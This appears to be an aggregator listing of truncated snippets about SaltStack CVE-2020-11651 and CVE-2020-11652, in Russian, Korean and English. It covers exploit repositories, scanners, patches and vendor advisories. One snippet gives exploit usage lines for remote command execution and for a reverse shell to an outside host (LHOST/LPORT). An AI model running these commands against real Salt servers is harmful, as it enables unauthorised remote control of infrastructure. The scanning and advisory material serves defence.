CVE-2020-11651-PoC

CVE-2020-11651-PoC Репозиторий, содержащий эксплойт для CVE-2020-11651, обновлённый для работы с последними версиями Python и обрабатывающий ошибки подключения. КОПИЯ README ИЗ ОРИГИНАЛЬНОГО РЕПОЗИТОРИЯ Оригинальный репозиторий Эксплойт PoC для CVE-2020-11651 и CVE-2020-11652 Это proof-of-concept...

salt-rce-scanner-CVE-2020-11651-CVE-2020-11652

Что это? Инструмент сканирования для проверки уязвимостей SaltStack CVE-2020-11651 и CVE-2020-11652. Уязвимости позволяют злоумышленнику, который может подключиться к порту "request server", обойти все средства аутентификации и авторизации и публиковать произвольные управляющие сообщения, читать ...

CVE-2020-11651-poc

CVE-2020-11651 및 CVE-2020-11652에 대한 PoC 익스플로잇 이것은 초기 확인 스크립트를 기반으로 한 개념 증명 익스플로잇입니다. 필요한 수정 사항이 포함된 릴리스로 Salt 마스터 서버를 성공적으로 업데이트했는지 확인하는 데 사용하십시오. F-Secure Labs의 연구 및 보고에 감사드립니다. 현재 이 스크립트는 마스터와 연결된 모든 미니언에서 파일 시스템 접근 및 명령 예약에 사용할 수 있습니다. 이 기능을 현명하게 사용하십시오! 사용법 기본 동작인수 없이 실행은 지정된 마스터의 루트 키를 획득하는...

salt-vulnerabilities

Профиль Salt Stack Этот профиль проверит, что ваша установка salt пропатчена до уровня, защищающего вас от CVE-2020-11651 и CVE-2020-11652. Для этого он проверяет, что пакеты salt-api, salt-cloud, salt-master, salt-minion, salt-ssh, salt-syndic и salt имеют версию 3000.2 или новее, либо 2019.2.4...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP root@kitploit: Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read...

salt-security-backports

Официальные патчи для предыдущих версий можно запросить по адресу: https://www.saltstack.com/lp/request-patch-april-2020/ ⚠ Патчи здесь являются пользовательскими и могут отличаться от официальных ⚠ Обратно портированные патчи безопасности для неподдерживаемых версий Salt Патчи в этом репозитории...

cve-2020-11651-exp-plus

Используйте bash для выполнения параметра --exec, исходный скрипт был /bin/sh, поэтому некоторые команды несовместимы, например, обратная оболочка bash 2. Исходный код получал версию локального salt-master, чтобы определить, затронут ли удаленный хост — очевидная логическая ошибка. Я просто...

CVE-2020-11651-CVE-2020-11652-EXP

В этом репозитории нет README...

CVE-2020-11651-Poc

Это обновлённая версия оригинал root@kitploit: git clone https://github.com/jasperla/CVE-2020-11651-poc.git cd CVE-2020-11651-poc когда я использовал оригинал, я застрял, и я обновил скрипт pov...

Exploit for CVE-2020-11651

This is an updated verison original...

Ubuntu: Security Advisory (USN-6849-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2024 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Ubuntu 14.04 LTS : Salt vulnerabilities (USN-6849-1)

The remote Ubuntu 14.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-6849-1 advisory. It was discovered that Salt incorrectly validated method calls and sanitized paths. A remote attacker could possibly use this issue to access some method...

openSUSE: Security Advisory for salt (openSUSE-SU-2021:2106-1)

The remote host is missing an update for the Copyright C 2021 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

openSUSE: Security Advisory for salt (openSUSE-SU-2021:0899-1)

The remote host is missing an update for the Copyright C 2021 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free software; you can...

SUSE: Security Advisory (SUSE-SU-2021:2105-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2021:2106-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2020:1150-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

SUSE: Security Advisory (SUSE-SU-2020:1151-1)

The remote host is missing an update for the SPDX-FileCopyrightText: 2021 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

Exploit for Path Traversal in Saltstack Salt

SaltStack-Exp CVE-2020-11651 CVE-2020-11652 Exec-Master:...

Ubuntu 16.04 LTS / 18.04 LTS : Salt vulnerabilities (USN-4459-1)

The remote Ubuntu 16.04 LTS / 18.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-4459-1 advisory. It was discovered that Salt allows remote attackers to determine which files exist on the server. An attacker could use that to extract...